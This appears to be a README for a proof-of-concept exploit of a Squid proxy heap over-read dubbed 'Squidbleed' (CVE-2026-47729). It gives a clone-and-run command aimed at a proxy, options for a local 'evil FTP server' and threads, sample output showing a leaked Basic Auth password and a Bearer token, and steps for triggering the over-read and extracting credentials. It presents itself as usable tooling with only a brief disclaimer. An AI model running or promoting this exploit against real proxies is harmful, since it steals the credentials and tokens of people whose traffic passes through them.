Exploit for CVE-2026-47729

## https://sploitus.com/exploit?id=9411F2C5-4EED-5451-B18B-6D79C61FBBAA
# 🦑 **CVE-2026-47729** - **Squidbleed**









⚠️ Heartbleed's ancient cousin, hiding in Squid since 1997.



---

## ✨ Features

- **Single-file PoC** — Zero dependencies  
- Malicious FTP server mimicking NetWare banner + truncated `LIST` response  
- Real-time detection and decoding of **Basic Auth** + **Bearer** tokens  
- Multi-threaded heap spraying for faster leaks  
- Clean, colored console output with live statistics  

---

## 🚀 Quick Start

```py
git clone https://github.com/0xBlackash/CVE-2026-47729.git
cd CVE-2026-47729

python3 CVE-2026-47729.py --proxy 127.0.0.1:3128
```

### Command Line Options

| Argument          | Default             | Description                          |
|-------------------|---------------------|--------------------------------------|
| `--proxy`         | `127.0.0.1:3128`    | Target Squid proxy (host:port)       |
| `--ftp-port`      | `2222`              | Local evil FTP server port           |
| `-t, --threads`   | `4`                 | Number of concurrent polling threads |

---

## 📸 Expected Output

```py
[PoC] Squidbleed CVE-2026-47729 by Ashraf Zaryouh (0xBlackash)

[ 14.78s] [BASIC] cGFzc3dvcmQxMjM6c2VjcmV0
              decoded = admin:password123

[ 18.33s] [BEARER] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```

---

## 🛠️ How It Works

1. Starts an evil FTP server that sends a **truncated directory listing**.
2. Repeatedly forces Squid to connect via FTP URLs.
3. Triggers the heap buffer over-read → leaks adjacent memory.
4. Extracts credentials and tokens from leaked data.

---

## ⚠️ Disclaimer

This PoC is for **educational and authorized testing purposes only**.  
Use responsibly on systems you own or have permission to test.

---



**Made with ❤️ by [Ashraf Zaryouh "0xBlackash"](https://github.com/0xBlackash)**